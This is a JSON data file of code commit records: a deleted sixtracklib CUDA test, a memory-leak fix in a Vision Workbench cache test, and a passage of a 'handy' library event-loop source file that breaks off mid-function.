{"text":"<commit_before>#include \"sixtracklib\/cuda\/wrappers\/track_job_wrappers.h\"\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <iostream>\n#include <string>\n\n#include <gtest\/gtest.h>\n#include <cuda_runtime_api.h>\n\n#include \"sixtracklib\/testlib.h\"\n#include \"sixtracklib\/common\/definitions.h\"\n#include \"sixtracklib\/common\/control\/definitions.h\"\n#include \"sixtracklib\/common\/buffer.h\"\n#include \"sixtracklib\/common\/particles\/particles_addr.h\"\n#include \"sixtracklib\/common\/particles.h\"\n#include \"sixtracklib\/common\/be_drift.h\"\n#include \"sixtracklib\/cuda\/controller.h\"\n#include \"sixtracklib\/cuda\/argument.h\"\n#include \"sixtracklib\/cuda\/control\/kernel_config.h\"\n#include \"sixtracklib\/cuda\/control\/node_info.h\"\n\nnamespace SIXTRL_CXX_NAMESPACE\n{\n namespace tests\n {\n bool run_test(\n std::string const& node_id_str,\n ::NS(buffer_size_t) const num_elements,\n ::NS(buffer_size_t) const num_blocks,\n ::NS(buffer_size_t) const num_threads_per_block,\n ::NS(buffer_size_t) const min_num_particles =\n ::NS(buffer_size_t{ 1 },\n ::NS(buffer_size_t) const max_num_particles =\n ::NS(buffer_size_t{ 2 },\n double const probabilty_to_not_particles = double{ 0 },\n ::NS(buffer_size_t) const seed = ::NS(buffer_size_t){ 20190517 } );\n }\n}\n\nTEST( C99_CudaWrappersExtractParticleAddrTest, SingleParticleSetTest )\n{\n namespace st = SIXTRL_CXX_NAMESPACE;\n\n ASSERT_TRUE( st::tests::run_test( \"\", 1, 1, 1 ) );\n ASSERT_TRUE( st::tests::run_test( \"\", 1, 2048, 1 ) );\n ASSERT_TRUE( st::tests::run_test( \"\", 1, 1, 256 ) );\n}\n\nTEST( C99_CudaWrappersExtractParticleAddrTest, MultiParticleSetTest )\n{\n ASSERT_TRUE( st::tests::run_test( \"\", 2048, 1, 1 ) );\n ASSERT_TRUE( st::tests::run_test( \"\", 2048, 2048, 1 ) );\n ASSERT_TRUE( st::tests::run_test( \"\", 2048, 1, 256 ) );\n ASSERT_TRUE( st::tests::run_test( \"\", 2048, 8, 256 ) );\n ASSERT_TRUE( st::tests::run_test( \"\", 2048, 16, 256 ) );\n}\n\nTEST( C99_CudaWrappersExtractParticleAddrTest, MultiParticleSetWithNonParticles )\n{\n ASSERT_TRUE( st::tests::run_test( \"\", 2048, 1, 1 , 1, 2, 0.1 ) );\n ASSERT_TRUE( st::tests::run_test( \"\", 2048, 2048, 1 , 1, 2, 0.1 ) );\n ASSERT_TRUE( st::tests::run_test( \"\", 2048, 1, 256, 1, 2, 0.1 ) );\n ASSERT_TRUE( st::tests::run_test( \"\", 2048, 8, 256, 1, 2, 0.1 ) );\n ASSERT_TRUE( st::tests::run_test( \"\", 2048, 16, 256, 1, 2, 0.1 ) );\n}\n\nnamespace SIXTRL_CXX_NAMESPACE\n{\n namespace tests\n {\n bool run_test(\n ::NS(CudaController)* SIXTRL_RESTRICT ctrl,\n ::NS(CudaKernelConfig)* SIXTRL_RESTRICT ptr_kernel_config,\n ::NS(buffer_size_t) const num_elements,\n ::NS(buffer_size_t) const min_num_particles,\n ::NS(buffer_size_t) const max_num_particles,\n double const probabilty_to_not_particles,\n ::NS(buffer_size_t) const seed = ::NS(buffer_size_t){ 20190517 } )\n {\n using particles_t = ::NS(Particles);\n using particles_addr_t = ::NS(ParticlesAddr);\n using c_buffer_t = ::NS(Buffer);\n\n using cuda_ctrl_t = ::NS(CudaController);\n using cuda_arg_t = ::NS(CudaArgument);\n using cuda_kernel_conf_t = ::NS(CudaKernelConfig);\n using kernel_id_t = ::NS(ctrl_kernel_id_t);\n using size_t = ::NS(buffer_size_t);\n using status_t = ::NS(arch_status_t);\n using result_register_t = ::NS(arch_debugging_t);\n using address_t = ::NS(buffer_addr_t);\n using addr_diff_t = ::NS(buffer_addr_diff_t);\n\n bool success = false;\n\n status_t status = ::NS(ARCH_STATUS_SUCCESS);\n\n if( ( ctrl == nullptr ) ||\n ( ptr_kernel_config == nullptr ) ||\n ( ptr_kernel_config->needsUpdate() ) )\n {\n return success;\n }\n\n \/* -------------------------------------------------------------------- *\/\n \/* Prepare the cmp particles and particles addr buffer; the former is\n * used to verify the results of the test *\/\n\n c_buffer_t* particles_buffer = ::NS(Buffer_new)( size_t{ 0 } );\n c_buffer_t* cmp_paddr_buffer = ::NS(Buffer_new)( size_t{ 0 } );\n\n SIXTRL_ASSERT( cmp_paddr_buffer != nullptr );\n SIXTRL_ASSERT( particles_buffer != nullptr );\n\n size_t const slot_size =\n ::NS(Buffer_get_slot_size)( particles_buffer );\n\n SIXTRL_ASSERT( slot_size > size_t{ 0 } );\n\n size_t constexpr prng_seed = size_t{ 20190517 };\n\n size_t constexpr num_psets = size_t{ 1 };\n size_t constexpr min_num_particles = size_t{ 100 };\n size_t constexpr max_num_particles = size_t{ 200 };\n\n \/* Enforce that we always have a NS(Particles) instance in this test *\/\n double const probabilty_to_not_particles = double{ 0.0 };\n\n status = ::NS(TestParticlesAddr_prepare_buffers)( particles_buffer,\n cmp_paddr_buffer, num_psets, min_num_particles, max_num_particles,\n probabilty_to_not_particles, prng_seed );\n\n SIXTRL_ASSERT( status == ::NS(ARCH_STATUS_SUCCESS) );\n\n status = ::NS(ParticlesAddr_buffer_store_all_addresses)(\n cmp_paddr_buffer, particles_buffer );\n\n SIXRL_ASSERT( status == ::NS(ARCH_STATUS_SUCCESS) );\n\n status = ::NS(TestParticlesAddr_verify_structure)(\n cmp_paddr_buffer, particles_buffer );\n\n SIXTRL_ASSERT( status == ::NS(ARCH_STATUS_SUCCESS) );\n\n status = ::NS(TestParticlesAddr_verify_addresses)(\n cmp_paddr_buffer, particles_buffer );\n\n SIXTRL_ASSERT( status == ::NS(ARCH_STATUS_SUCCESS) );\n\n \/* --------------------------------------------------------------------- *\/\n \/* Prepare the actual paddr_buffer that is used for the test *\/\n\n c_buffer_t* paddr_buffer = ::NS(Buffer_new)( size_t{ 0 } );\n\n SIXTRL_ASSERT( paddr_buffer != nullptr );\n\n status = ::NS(ParticlesAddr_prepare_buffer_based_on_particles_buffer)(\n paddr_buffer, particles_buffer );\n\n SIXTRL_ASSERT( status == ::NS(ARCH_STATUS_SUCCESS) );\n\n \/* -------------------------------------------------------------------- *\/\n \/* Init the Cuda controller and arguments for the addresses\n * and the particles *\/\n\n success = true;\n\n cuda_arg_t* particles_arg = ::NS(CudaArgument_new)( ctrl );\n SIXTRL_ASSERT( particles_arg != nullptr );\n\n cuda_arg_t* addresses_arg = ::NS(CudaArgument_new)( ctrl );\n SIXTRL_ASSERT( addresses_arg != nullptr );\n\n result_register_t result_register = ::NS(ARCH_DEBUGGING_GENERAL_FAILURE);\n\n cuda_arg_t* result_register_arg =\n ::NS(CudaArgument_new_raw_argument)(\n &result_register, sizeof( result_register ), ctrl );\n\n SIXTRL_ASSERT( result_register_arg != nullptr );\n\n \/* Send the particles and the addresses buffer to the node *\/\n\n status = ::NS(Argument_send_buffer)( particles_arg, particles_buffer );\n SIXTRL_ASSERT( status == ::NS(ARCH_STATUS_SUCCESS) );\n\n status = ::NS(Argument_send_buffer)( addresses_arg, paddr_buffer );\n SIXTRL_ASSERT( status == ::NS(ARCH_STATUS_SUCCESS) );\n\n \/* reset the particles address buffer at the host side,\n * so that we can be certain about the success of the operation *\/\n\n ::NS(Buffer_clear)( paddr_buffer, true );\n ::NS(Buffer_reset)( paddr_buffer );\n\n SIXTRL_ASSERT( ::NS(Buffer_get_num_of_objects)( paddr_buffer ) ==\n size_t{ 0 } );\n\n \/* ===================================================================== *\/\n \/* !!! START OF THE ACTUAL TEST !!! *\/\n\n ::NS(Particles_buffer_store_all_addresses_cuda_wrapper)(\n ptr_kernel_config, addresses_arg, particles_arg,\n result_register_arg );\n\n status = ::NS(Argument_receive_buffer)( paddr_buffer );\n SIXTRL_ASSERT( status == ::NS(ARCH_STATUS_SUCCESS );\n SIXTRL_ASSERT( !::NS(Buffer_needs_remapping)( paddr_buffer ) );\n\n status = ::NS(Argument_receive_raw_arg)(\n &result_register, sizeof( result_register ) );\n SIXTRL_ASSERT( status == :NS(ARCH_STATUS_SUCCESS) );\n\n if( result_register != ::NS(ARCH_DEBUGGING_REGISTER_EMPTY) )\n {\n success = false;\n }\n\n success &= ( ::NS(TestParticlesAddr_verify_structure)( paddr_buffer,\n particles_buffer ) == ::NS(ARCH_STATUS_SUCCESS) );\n\n if( success )\n {\n status = ::NS(Argument_receive_buffer_without_remap)(\n particles_arg, particles_buffer );\n SIXTRL_ASSERT( status == ::NS(ARCH_STATUS_SUCCESS) );\n\n address_t const device_begin_addr =\n ::NS(ManagedBuffer_get_stored_begin_addr)(\n particles_buffer, slot_size );\n\n address_t const host_begin_addr =\n ::NS(ManagedBuffer_get_buffer_begin_addr)(\n particles_buffer, slot_size );\n\n \/* addr_offset = host_begin_addr - device_begin_addr -->\n * host_begin_addr = device_begin_addr + addr_offset *\/\n\n addr_diff_t const addr_offset =\n host_begin_addr - device_begin_addr;\n\n\n\n }\n\n \/* Cleanup: *\/\n\n ::NS(Argument_delete)( particles_arg );\n ::NS(Argument_delete)( addresses_arg );\n ::NS(Argument_delete)( result_register_arg );\n\n ::NS(Buffer_delete)( paddr_buffer );\n ::NS(Buffer_delete)( particles_buffer );\n ::NS(Buffer_delete)( cmp_paddr_buffer );\n\n ::NS(Controller_delete)( ctrl );\n\n return success;\n }\n }\n}\n\n\/* end: tests\/sixtracklib\/cuda\/wrappers\/test_track_job_wrappers_c99.cpp *\/\n<commit_msg>tests\/cuda: remove no longer needed tests file<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ __BEGIN_LICENSE__\n\/\/ Copyright (C) 2006-2010 United States Government as represented by\n\/\/ the Administrator of the National Aeronautics and Space Administration.\n\/\/ All Rights Reserved.\n\/\/ __END_LICENSE__\n\n\n#include <memory>\n#include <gtest\/gtest.h>\n\n#include <vw\/Core\/Cache.h>\n#include <vw\/Core\/FundamentalTypes.h>\n\nusing namespace vw;\n\n\/\/ A dummy BlockGenerator that generates blocks of 1-byte data.\nclass BlockGenerator {\n\nprotected:\n int m_dimension;\n vw::uint8 m_fill_value;\n\npublic:\n BlockGenerator(int dimension, vw::uint8 fill_value = 0) :\n m_dimension(dimension), m_fill_value(fill_value) {}\n\n typedef vw::uint8 value_type;\n\n size_t size() const {\n return m_dimension * m_dimension * sizeof(vw::uint8);\n }\n\n boost::shared_ptr< value_type > generate() const {\n\n boost::shared_ptr< value_type > ptr(new vw::uint8[m_dimension*m_dimension]);\n (&(*ptr))[0] = m_fill_value;\n return ptr;\n }\n};\n\nclass CacheTest : public ::testing::Test {\n public:\n typedef Cache::Handle<BlockGenerator> HandleT;\n typedef std::vector<HandleT> ContainerT;\n\n vw::Cache cache;\n ContainerT cache_handles;\n\n const static int dimension = 1024;\n const static int num_actual_blocks = 10;\n const static int num_cache_blocks = 3;\n\n CacheTest() :\n cache( num_cache_blocks*dimension*dimension ), cache_handles( num_actual_blocks ) {\n for (uint8 i = 0; i < num_actual_blocks; ++i) {\n cache_handles[i] = cache.insert( BlockGenerator( dimension, i ) );\n }\n }\n};\n\nTEST_F(CacheTest, CacheLineLRU) {\n \/\/ Test assumes cache size less than total data\n ASSERT_LT(+num_cache_blocks, +num_actual_blocks);\n\n for (int i = 0; i < num_actual_blocks; ++i) {\n\n Cache::Handle<BlockGenerator> &h = cache_handles[i];\n\n ASSERT_EQ(h.size(), dimension*dimension*sizeof(BlockGenerator::value_type));\n\n ASSERT_FALSE(h.valid());\n EXPECT_EQ(i, *h);\n EXPECT_TRUE(h.valid());\n\n boost::shared_ptr<BlockGenerator::value_type> ptr = h;\n EXPECT_EQ(i, *ptr);\n\n \/\/ LRU cache, so the last num_cache_blocks should still be valid\n for (int j = 0; i-j >= 0; ++j)\n {\n SCOPED_TRACE(::testing::Message() << \"Cache block \" << i);\n if (j < num_cache_blocks) {\n EXPECT_TRUE(cache_handles[i-j].valid());\n } else {\n EXPECT_FALSE(cache_handles[i-j].valid());\n }\n }\n }\n}\n\nTEST_F(CacheTest, Priority) {\n \/\/ Test assumes cache size less than total data\n ASSERT_LT(+num_cache_blocks, +num_actual_blocks);\n\n \/\/ prime the cache\n for (int i = 0; i < num_actual_blocks; ++i) {\n EXPECT_EQ(i, *cache_handles[i]);\n }\n\n \/\/make sure last element is valid\n ASSERT_TRUE(cache_handles[num_actual_blocks-1].valid());\n\n \/\/ deprioritize the last element, and ensure it's still valid\n cache_handles[num_actual_blocks-1].deprioritize();\n ASSERT_TRUE(cache_handles[num_actual_blocks-1].valid());\n\n \/\/ bring the first element back into cache\n ASSERT_FALSE(cache_handles[0].valid());\n EXPECT_EQ( 0, *cache_handles[0] );\n EXPECT_TRUE(cache_handles[0].valid());\n\n \/\/ make sure that the deprioritized element dropped out of cache\n EXPECT_FALSE(cache_handles[num_actual_blocks-1].valid());\n}\n\n\/\/ Every copy increases the fill_value by one\nclass GenGen : public BlockGenerator {\n public:\n GenGen() : BlockGenerator(1, 0) {}\n\n GenGen(const GenGen& obj) :\n BlockGenerator(obj.m_dimension, boost::numeric_cast<uint8>(obj.m_fill_value+1)) {}\n};\n\nTEST(Cache, Types) {\n \/\/ This test makes sure cache handles can hold polymorphic types\n \/\/ and gives the user control over copying vs. not.\n typedef Cache::Handle<GenGen> obj_t;\n typedef Cache::Handle<boost::shared_ptr<GenGen> > sptr_t;\n\n vw::Cache cache(sizeof(vw::uint8));\n\n GenGen value;\n boost::shared_ptr<GenGen> shared(new GenGen());\n\n obj_t h1 = cache.insert(value);\n sptr_t h2 = cache.insert(shared);\n\n \/\/ Make sure the value hasn't generated yet\n ASSERT_FALSE(h1.valid());\n ASSERT_FALSE(h2.valid());\n\n \/\/ value should have copied once\n EXPECT_EQ(1, *h1);\n \/\/ shared_ptr should not have copied\n EXPECT_EQ(0, *h2);\n}\n\nTEST(Cache, Stats) {\n typedef Cache::Handle<BlockGenerator> handle_t;\n\n \/\/ Cache can hold 2 items\n vw::Cache cache(2*sizeof(handle_t::value_type));\n\n handle_t h[3] = {\n cache.insert(BlockGenerator(1, 0)),\n cache.insert(BlockGenerator(1, 1)),\n cache.insert(BlockGenerator(1, 2))};\n\n EXPECT_EQ(0u, cache.hits());\n EXPECT_EQ(0u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n\n \/\/ miss\n EXPECT_EQ(0, *h[0]);\n\n EXPECT_EQ(0u, cache.hits());\n EXPECT_EQ(1u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n\n \/\/ hit\n EXPECT_EQ(0, *h[0]);\n\n EXPECT_EQ(1u, cache.hits());\n EXPECT_EQ(1u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n\n \/\/ miss\n EXPECT_EQ(1, *h[1]);\n\n EXPECT_EQ(1u, cache.hits());\n EXPECT_EQ(2u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n\n \/\/ hit\n EXPECT_EQ(1, *h[1]);\n\n EXPECT_EQ(2u, cache.hits());\n EXPECT_EQ(2u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n\n \/\/ miss, eviction\n EXPECT_EQ(2, *h[2]);\n\n EXPECT_EQ(2u, cache.hits());\n EXPECT_EQ(3u, cache.misses());\n EXPECT_EQ(1u, cache.evictions());\n\n \/\/ hit\n EXPECT_EQ(2, *h[2]);\n\n EXPECT_EQ(3u, cache.hits());\n EXPECT_EQ(3u, cache.misses());\n EXPECT_EQ(1u, cache.evictions());\n\n \/\/ hit\n EXPECT_EQ(1, *h[1]);\n\n EXPECT_EQ(4u, cache.hits());\n EXPECT_EQ(3u, cache.misses());\n EXPECT_EQ(1u, cache.evictions());\n\n \/\/ miss, eviction\n EXPECT_EQ(0, *h[0]);\n\n EXPECT_EQ(4u, cache.hits());\n EXPECT_EQ(4u, cache.misses());\n EXPECT_EQ(2u, cache.evictions());\n\n cache.clear_stats();\n\n EXPECT_EQ(0u, cache.hits());\n EXPECT_EQ(0u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n}\n<commit_msg>fix leaky test.<commit_after>\/\/ __BEGIN_LICENSE__\n\/\/ Copyright (C) 2006-2010 United States Government as represented by\n\/\/ the Administrator of the National Aeronautics and Space Administration.\n\/\/ All Rights Reserved.\n\/\/ __END_LICENSE__\n\n\n#include <memory>\n#include <gtest\/gtest.h>\n\n#include <vw\/Core\/Cache.h>\n#include <vw\/Core\/FundamentalTypes.h>\n#include <boost\/shared_array.hpp>\n\nusing namespace vw;\n\n\/\/ A dummy BlockGenerator that generates blocks of 1-byte data.\nclass BlockGenerator {\n\nprotected:\n int m_dimension;\n vw::uint8 m_fill_value;\n\npublic:\n BlockGenerator(int dimension, vw::uint8 fill_value = 0) :\n m_dimension(dimension), m_fill_value(fill_value) {}\n\n typedef vw::uint8 value_type;\n\n size_t size() const {\n return m_dimension * m_dimension * sizeof(vw::uint8);\n }\n\n boost::shared_ptr< value_type > generate() const {\n\n boost::shared_ptr< value_type > ptr(new vw::uint8[m_dimension*m_dimension], boost::checked_array_deleter<value_type>());\n (&(*ptr))[0] = m_fill_value;\n return ptr;\n }\n};\n\nclass CacheTest : public ::testing::Test {\n public:\n typedef Cache::Handle<BlockGenerator> HandleT;\n typedef std::vector<HandleT> ContainerT;\n\n vw::Cache cache;\n ContainerT cache_handles;\n\n const static int dimension = 1024;\n const static int num_actual_blocks = 10;\n const static int num_cache_blocks = 3;\n\n CacheTest() :\n cache( num_cache_blocks*dimension*dimension ), cache_handles( num_actual_blocks ) {\n for (uint8 i = 0; i < num_actual_blocks; ++i) {\n cache_handles[i] = cache.insert( BlockGenerator( dimension, i ) );\n }\n }\n};\n\nTEST_F(CacheTest, CacheLineLRU) {\n \/\/ Test assumes cache size less than total data\n ASSERT_LT(+num_cache_blocks, +num_actual_blocks);\n\n for (int i = 0; i < num_actual_blocks; ++i) {\n\n Cache::Handle<BlockGenerator> &h = cache_handles[i];\n\n ASSERT_EQ(h.size(), dimension*dimension*sizeof(BlockGenerator::value_type));\n\n ASSERT_FALSE(h.valid());\n EXPECT_EQ(i, *h);\n EXPECT_TRUE(h.valid());\n\n boost::shared_ptr<BlockGenerator::value_type> ptr = h;\n EXPECT_EQ(i, *ptr);\n\n \/\/ LRU cache, so the last num_cache_blocks should still be valid\n for (int j = 0; i-j >= 0; ++j)\n {\n SCOPED_TRACE(::testing::Message() << \"Cache block \" << i);\n if (j < num_cache_blocks) {\n EXPECT_TRUE(cache_handles[i-j].valid());\n } else {\n EXPECT_FALSE(cache_handles[i-j].valid());\n }\n }\n }\n}\n\nTEST_F(CacheTest, Priority) {\n \/\/ Test assumes cache size less than total data\n ASSERT_LT(+num_cache_blocks, +num_actual_blocks);\n\n \/\/ prime the cache\n for (int i = 0; i < num_actual_blocks; ++i) {\n EXPECT_EQ(i, *cache_handles[i]);\n }\n\n \/\/make sure last element is valid\n ASSERT_TRUE(cache_handles[num_actual_blocks-1].valid());\n\n \/\/ deprioritize the last element, and ensure it's still valid\n cache_handles[num_actual_blocks-1].deprioritize();\n ASSERT_TRUE(cache_handles[num_actual_blocks-1].valid());\n\n \/\/ bring the first element back into cache\n ASSERT_FALSE(cache_handles[0].valid());\n EXPECT_EQ( 0, *cache_handles[0] );\n EXPECT_TRUE(cache_handles[0].valid());\n\n \/\/ make sure that the deprioritized element dropped out of cache\n EXPECT_FALSE(cache_handles[num_actual_blocks-1].valid());\n}\n\n\/\/ Every copy increases the fill_value by one\nclass GenGen : public BlockGenerator {\n public:\n GenGen() : BlockGenerator(1, 0) {}\n\n GenGen(const GenGen& obj) :\n BlockGenerator(obj.m_dimension, boost::numeric_cast<uint8>(obj.m_fill_value+1)) {}\n};\n\nTEST(Cache, Types) {\n \/\/ This test makes sure cache handles can hold polymorphic types\n \/\/ and gives the user control over copying vs. not.\n typedef Cache::Handle<GenGen> obj_t;\n typedef Cache::Handle<boost::shared_ptr<GenGen> > sptr_t;\n\n vw::Cache cache(sizeof(vw::uint8));\n\n GenGen value;\n boost::shared_ptr<GenGen> shared(new GenGen());\n\n obj_t h1 = cache.insert(value);\n sptr_t h2 = cache.insert(shared);\n\n \/\/ Make sure the value hasn't generated yet\n ASSERT_FALSE(h1.valid());\n ASSERT_FALSE(h2.valid());\n\n \/\/ value should have copied once\n EXPECT_EQ(1, *h1);\n \/\/ shared_ptr should not have copied\n EXPECT_EQ(0, *h2);\n}\n\nTEST(Cache, Stats) {\n typedef Cache::Handle<BlockGenerator> handle_t;\n\n \/\/ Cache can hold 2 items\n vw::Cache cache(2*sizeof(handle_t::value_type));\n\n handle_t h[3] = {\n cache.insert(BlockGenerator(1, 0)),\n cache.insert(BlockGenerator(1, 1)),\n cache.insert(BlockGenerator(1, 2))};\n\n EXPECT_EQ(0u, cache.hits());\n EXPECT_EQ(0u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n\n \/\/ miss\n EXPECT_EQ(0, *h[0]);\n\n EXPECT_EQ(0u, cache.hits());\n EXPECT_EQ(1u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n\n \/\/ hit\n EXPECT_EQ(0, *h[0]);\n\n EXPECT_EQ(1u, cache.hits());\n EXPECT_EQ(1u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n\n \/\/ miss\n EXPECT_EQ(1, *h[1]);\n\n EXPECT_EQ(1u, cache.hits());\n EXPECT_EQ(2u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n\n \/\/ hit\n EXPECT_EQ(1, *h[1]);\n\n EXPECT_EQ(2u, cache.hits());\n EXPECT_EQ(2u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n\n \/\/ miss, eviction\n EXPECT_EQ(2, *h[2]);\n\n EXPECT_EQ(2u, cache.hits());\n EXPECT_EQ(3u, cache.misses());\n EXPECT_EQ(1u, cache.evictions());\n\n \/\/ hit\n EXPECT_EQ(2, *h[2]);\n\n EXPECT_EQ(3u, cache.hits());\n EXPECT_EQ(3u, cache.misses());\n EXPECT_EQ(1u, cache.evictions());\n\n \/\/ hit\n EXPECT_EQ(1, *h[1]);\n\n EXPECT_EQ(4u, cache.hits());\n EXPECT_EQ(3u, cache.misses());\n EXPECT_EQ(1u, cache.evictions());\n\n \/\/ miss, eviction\n EXPECT_EQ(0, *h[0]);\n\n EXPECT_EQ(4u, cache.hits());\n EXPECT_EQ(4u, cache.misses());\n EXPECT_EQ(2u, cache.evictions());\n\n cache.clear_stats();\n\n EXPECT_EQ(0u, cache.hits());\n EXPECT_EQ(0u, cache.misses());\n EXPECT_EQ(0u, cache.evictions());\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"event_base.h\"\n#include \"logging.h\"\n#include \"util.h\"\n#include <map>\n#include <string.h>\n#include <fcntl.h>\n#include \"poller.h\"\n#include \"conn.h\"\nusing namespace std;\n\nnamespace handy {\n\nnamespace {\n\nstruct TimerRepeatable {\n int64_t at; \/\/current timer timeout timestamp\n int64_t interval;\n TimerId timerid;\n Task cb;\n};\n\nstruct IdleNode {\n TcpConnPtr con_;\n int64_t updated_;\n TcpCallBack cb_;\n};\n\n}\n\nstruct IdleIdImp {\n IdleIdImp() {}\n typedef list<IdleNode>::iterator Iter;\n IdleIdImp(list<IdleNode>* lst, Iter iter): lst_(lst), iter_(iter){}\n list<IdleNode>* lst_;\n Iter iter_;\n};\n\nstruct EventsImp {\n EventBase* base_;\n PollerBase* poller_;\n std::atomic<bool> exit_;\n int wakeupFds_[2];\n int nextTimeout_;\n SafeQueue<Task> tasks_;\n \n std::map<TimerId, TimerRepeatable> timerReps_;\n std::map<TimerId, Task> timers_;\n std::atomic<int64_t> timerSeq_;\n std::map<int, std::list<IdleNode>> idleConns_;\n std::set<TcpConnPtr> reconnectConns_;\n bool idleEnabled;\n\n EventsImp(EventBase* base, int taskCap);\n ~EventsImp();\n void init();\n void callIdles();\n IdleId registerIdle(int idle, const TcpConnPtr& con, const TcpCallBack& cb);\n void unregisterIdle(const IdleId& id);\n void updateIdle(const IdleId& id);\n void handleTimeouts();\n void refreshNearest(const TimerId* tid=NULL);\n void repeatableTimeout(TimerRepeatable* tr);\n\n \/\/eventbase functions\n EventBase& exit();\n bool exited() { return exit_; }\n void safeCall(Task&& task) { tasks_.push(move(task)); wakeup(); }\n void loop() { while (!exit_) loop_once(10000); loop_once(0); }\n void loop_once(int waitMs) { poller_->loop_once(std::min(waitMs, nextTimeout_)); handleTimeouts(); }\n void wakeup() {\n int r = write(wakeupFds_[1], \"\", 1);\n fatalif(r<=0, \"write error wd %d %d %s\", r, errno, strerror(errno));\n }\n\n bool cancel(TimerId timerid);\n TimerId runAt(int64_t milli, Task&& task, int64_t interval);\n};\n\nEventBase::EventBase(int taskCapacity) {\n imp_.reset(new EventsImp(this, taskCapacity));\n imp_->init();\n}\n\nEventBase::~EventBase() {}\n\nEventBase& EventBase::exit() { return imp_->exit(); }\n\nbool EventBase::exited() { return imp_->exited(); }\n\nvoid EventBase::safeCall(Task&& task) { imp_->safeCall(move(task)); }\n\nvoid EventBase::wakeup(){ imp_->wakeup(); }\n\nvoid EventBase::loop() { imp_->loop(); }\n\nvoid EventBase::loop_once(int waitMs) { imp_->loop_once(waitMs); }\n\nbool EventBase::cancel(TimerId timerid) { return imp_->cancel(timerid); }\n\nTimerId EventBase::runAt(int64_t milli, Task&& task, int64_t interval) {\n return imp_->runAt(milli, std::move(task), interval); \n}\n\nEventsImp::EventsImp(EventBase* base, int taskCap):\n base_(base), poller_(new PlatformPoller()), exit_(false), nextTimeout_(1<<30), tasks_(taskCap),\n timerSeq_(0), idleEnabled(false)\n{\n}\n\nvoid EventsImp::init() {\n int r = pipe(wakeupFds_);\n fatalif(r, \"pipe failed %d %s\", errno, strerror(errno));\n r = util::addFdFlag(wakeupFds_[0], FD_CLOEXEC);\n fatalif(r, \"addFdFlag failed %d %s\", errno, strerror(errno));\n r = util::addFdFlag(wakeupFds_[1], FD_CLOEXEC);\n fatalif(r, \"addFdFlag failed %d %s\", errno, strerror(errno));\n trace(\"wakeup pipe created %d %d\", wakeupFds_[0], wakeupFds_[1]);\n Channel* ch = new Channel(base_, wakeupFds_[0], kReadEvent);\n ch->onRead([=] {\n char buf[1024];\n int r = ch->fd() >= 0 ? ::read(ch->fd(), buf, sizeof buf) : 0;\n if (r > 0) {\n Task task;\n while (tasks_.pop_wait(&task, 0)) {\n task();\n }\n } else if (r == 0) {\n delete ch;\n } else if (errno == EINTR) {\n } else {\n fatal(\"wakeup channel read error %d %d %s\", r, errno, strerror(errno));\n }\n });\n}\n\nEventBase& EventsImp::exit() {\n exit_ = true;\n wakeup();\n timerReps_.clear();\n timers_.clear();\n idleConns_.clear();\n for (auto recon: reconnectConns_) { \/\/重连的连接无法通过channel清理,因此单独清理\n recon->cleanup(recon);\n }\n return *base_; }\n\nvoid EventsImp::handleTimeouts() {\n int64_t now = util::timeMilli();\n TimerId tid { now, 1L<<62 };\n while (timers_.size() && timers_.begin()->first < tid) {\n Task task = move(timers_.begin()->second);\n timers_.erase(timers_.begin());\n task();\n }\n refreshNearest();\n}\n\nEventsImp::~EventsImp() {\n delete poller_;\n ::close(wakeupFds_[1]);\n}\n\nvoid EventsImp::callIdles() {\n int64_t now = util::timeMilli() \/ 1000;\n for (auto& l: idleConns_) {\n int idle = l.first;\n auto lst = l.second;\n while(lst.size()) {\n IdleNode& node = lst.front();\n if (node.updated_ + idle > now) {\n break;\n }\n node.updated_ = now;\n lst.splice(lst.end(), lst, lst.begin());\n node.cb_(node.con_);\n }\n }\n}\n\nIdleId EventsImp::registerIdle(int idle, const TcpConnPtr& con, const TcpCallBack& cb) {\n if (!idleEnabled) {\n base_->runAfter(1000, [this] { callIdles(); }, 1000);\n idleEnabled = true;\n }\n auto& lst = idleConns_[idle];\n lst.push_back(IdleNode {con, util::timeMilli()\/1000, move(cb) });\n trace(\"register idle\");\n return IdleId(new IdleIdImp(&lst, --lst.end()));\n}\n\nvoid EventsImp::unregisterIdle(const IdleId& id) {\n trace(\"unregister idle\");\n id->lst_->erase(id->iter_);\n}\n\nvoid EventsImp::updateIdle(const IdleId& id) {\n trace(\"update idle\");\n id->iter_->updated_ = util::timeMilli() \/ 1000;\n id->lst_->splice(id->lst_->end(), *id->lst_, id->iter_);\n}\n\nvoid EventsImp::refreshNearest(const TimerId* tid){\n if (timers_.empty()) {\n nextTimeout_ = 1 << 30;\n } else {\n const TimerId &t = timers_.begin()->first;\n nextTimeout_ = t.first - util::timeMilli();\n nextTimeout_ = nextTimeout_ < 0 ? 0 : nextTimeout_;\n }\n}\n\nvoid EventsImp::repeatableTimeout(TimerRepeatable* tr) {\n tr->at += tr->interval;\n tr->timerid = { tr->at, ++timerSeq_ };\n timers_[tr->timerid] = [this, tr] { repeatableTimeout(tr); };\n refreshNearest(&tr->timerid);\n tr->cb();\n}\n\nTimerId EventsImp::runAt(int64_t milli, Task&& task, int64_t interval) {\n if (exit_) {\n return TimerId();\n }\n if (interval) {\n TimerId tid { -milli, ++timerSeq_};\n TimerRepeatable& rtr = timerReps_[tid];\n rtr = { milli, interval, { milli, ++timerSeq_ }, move(task) };\n TimerRepeatable* tr = &rtr;\n timers_[tr->timerid] = [this, tr] { repeatableTimeout(tr); };\n refreshNearest(&tr->timerid);\n return tid;\n } else {\n TimerId tid { milli, ++timerSeq_};\n timers_.insert({tid, move(task)});\n refreshNearest(&tid);\n return tid;\n }\n}\n\nbool EventsImp::cancel(TimerId timerid) {\n if (timerid.first < 0) {\n auto p = timerReps_.find(timerid);\n auto ptimer = timers_.find(p->second.timerid);\n if (ptimer != timers_.end()) {\n timers_.erase(ptimer);\n }\n timerReps_.erase(p);\n return true;\n } else {\n auto p = 